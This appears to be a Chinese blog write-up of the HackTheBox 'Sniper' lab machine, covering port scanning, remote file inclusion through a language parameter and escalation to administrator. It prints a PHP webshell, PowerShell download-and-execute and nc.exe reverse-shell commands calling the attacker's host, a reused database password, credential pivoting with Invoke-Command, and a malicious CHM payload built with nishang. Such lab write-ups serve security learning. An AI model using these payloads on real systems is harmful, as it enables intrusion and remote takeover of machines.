hackthebox sniper medium

主机发现

nmap --min-rate 1000 -p- 10.10.10.151

发现80 和445端口

端口探测

首先利用smbclient 进行端口探测

smbclient -L //10.10.10.151

连接错误 (后面发现是因为本地smb配置错误导致的)

切换方向

访问80端口发现是一个类似博客的页面

鼠标悬浮可以查看到左下角的悬浮跳转url,发现有一个/blog/index.php

正页查看并查看源代码并没有发现不妥之处,将鼠标继续指向几个能跳转的地方,发现切换语言的超链接类似有一个lang=xx.php的后缀

那么这里很有可能会有LFI和RFI

进入抓包页面

首先尝试抓取一下/blog页面所用到的css相对路径,路径在/blog/index.php能够找到

 注意相对路径的位置

尝试能不能LFI 

但是想想windows的信息其实没有特别多敏感的,敏感的文件都给上了最高权限所以直接尝试能不能RFI

尝试能不能RFI

首先在本地创建一个test.php文件并写入一句话的测试 <?php system('echo RCE TEST');?>并开启python服务器

抓包 lang=\\kali's ip\test.php看看返回包

最后也是成功输出,那就说明RFI能够执行php文件,再写入一个一句话木马

rce.php  <-- <?php system($_REQUEST['pleasesubscribe']);?>

改包传值 lang=\\kali ip\rce.php&pleasesubscribe=whoami (成功执行)

 那么利用这个webshell进行一个反弹shell的操作

尝试powershell能否进行运行

pleasesubscribe=powershell+whoami (成功)

1.由于是windows环境,尝试能不能用poweshell进行反弹  (失败)

 pleasesubcribe=IEX(NEW-Object+Net.WebClient).downloadString('http://10.10.14.2/pleasesubscribe.ps1')

在这个invoke-powershellTCP.ps脚本中的最后一行修改address和port kali10.10.10.2 ip port9001

本地将nishang的powershell反弹ps本开启python服务器等待下载回弹

python -m http.server 80

nc -lvnp 9001 

无事发生

2.利用kali的/usr/share/windows-binanry内置的几个exe例如

包含nc.exe

利用kali的nc将靶机的powershell开启反弹到我们主机中

pleasesubscribe=\\10.10.14.2/nc.exe -e powershell 10.10.14.2 9001 

运行命令

反弹成功

 反弹成功后搜寻一下windows的铭感目录以及网页根目录iterhub/root

查看有什么用户 net user 

发现了一段配置php

查看db.php type db.php 发现了一段数据库使用的账号密码

密码是长难句,用户名是sniper

可以利用crackmapexec去破解长难句的密码

crackmapexec 10.10.10.151 smb -u cris -p  '36mEAhz/B8xQ~2VM' 

报错

原因是因为目录中有smb目录

重新进入到一个没有smb目录的文件夹即可运行crackmapexec 10.10.10.151 smb -u cris -p 'xx'

发现成功拿下这确实是一个用户名和匹配的密码

所以这个账号密码很有可能是用户cris在本机的密码

利用powershell将环境变量设置成cris和对应密码并将新设置好的密码反弹到一个新shell上

对两个参数进行设置

$pass=密码

$pass=ConvertTo-SecureString "密码" -AsPlainText -Force

$cred=New-Object System.Management.Automation.PSCredential("Chris",$pass)

再利用invoke-command执行命令

Invoke-command  -ComputerName Sniper -Credential $cred -ScriptBlock {whoami}

报错!

发现是因为$cred设定命令中,利用凭证是需要将计算机名\\用户名+密码一块绑定

$cred = new-object system.management.automation.PSCredential("Sniper\\Chris",$pass)  

tips:这里两个\是因为要转义

重新试一下运行invoke-command看看是否将环境变量设置成chris的

invoke-command -ComputerName Sniper -Credential $cred -ScriptBlock {whoami}  

成功执行

将这个已经改变了环境变量为chris的shell反弹到一个新的监听端口中

invoke-command -ComputerName Sniper -Credential $cred -ScriptBlock {\\10.10.14.2\nc.exe 10.10.14.2 9001 -e powershell}

本地机器:rlwrap nc -lvnp 9001

通过rlwrap 进行前提可以让监听到的shell能够利用上下键进行快速命令执行

查看目录下的文件有什么

gci遍历文件

gci  -resure -include *.* | select FullName

由于是powershell类型的靶机,尝试用powershell框架的渗透工具将最高权限反弹到linux中

这里利用nishang的out-chm.ps1进行

启用另一台windows机器下载nishang的脚本下载并使用out-chm脚本,有关脚本的解释在这

再找一个out-chm脚本的原始payload进行改造

PS > Out-CHM -Payload "-EncodedCommand <>" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
payload后面加的是代码 而hhcpath就是指HTML Help workshop的绝对下载路径

根据提示运行一下ps脚本

尝试一

1.import-module .\OUT-CHM.PS1

2.powershell运行 : .\out-chm.ps1 -payload "\\10.10.14.2\htb\nc.exe -e powershell 10.10.14.2 9001" -HHCpath "c:\program files(x86)\html help workshop"

就会在攻击者的windows创建于给nc.chm 将这个nc.chm放入在kali的smb中让靶机windows能够利用copy \\10.10.14.2\htb\cmd.chm . 的方式复制并执行

靶机windows操作

copy \\10.10.14.2\htb\cmd.chm  . 

但是失败了并没有反弹相关的shell

尝试二

1.在靶机上的一个可落地目录下载到kali上的nc.exe 

将nc.exe拖动到smb共享目录上并且让windows下载

copy \\10.10.14.2\htb\nc.exe . 

可能存在说一个deny的情况但是这属于权限不足的问题,kali上修改smb共享目录内的文件权限为777 chmod 777 nc.exe即可

2.在攻击者windows上利用nishang的out-chm进行创建一个恶意chm

ps > .\out-chm.ps1 -payload "c:\users\chris\download\nc.exe -e powershell 10.10.14.2 9001" -hhcpath "c:\program files(x86)\html help workshop"

本地改名叫一个nc.chm

3.将nc.chm放入到smb中让靶机windows copy下载

copy \\10.10.14.2\htb\nc.chm .

也可以利用invoke-webrequest下载

4.反弹成功 这个是administrator的shell

 

posted @ 2023-06-05 22:11  lisenMiller  阅读(56)  评论(0编辑  收藏  举报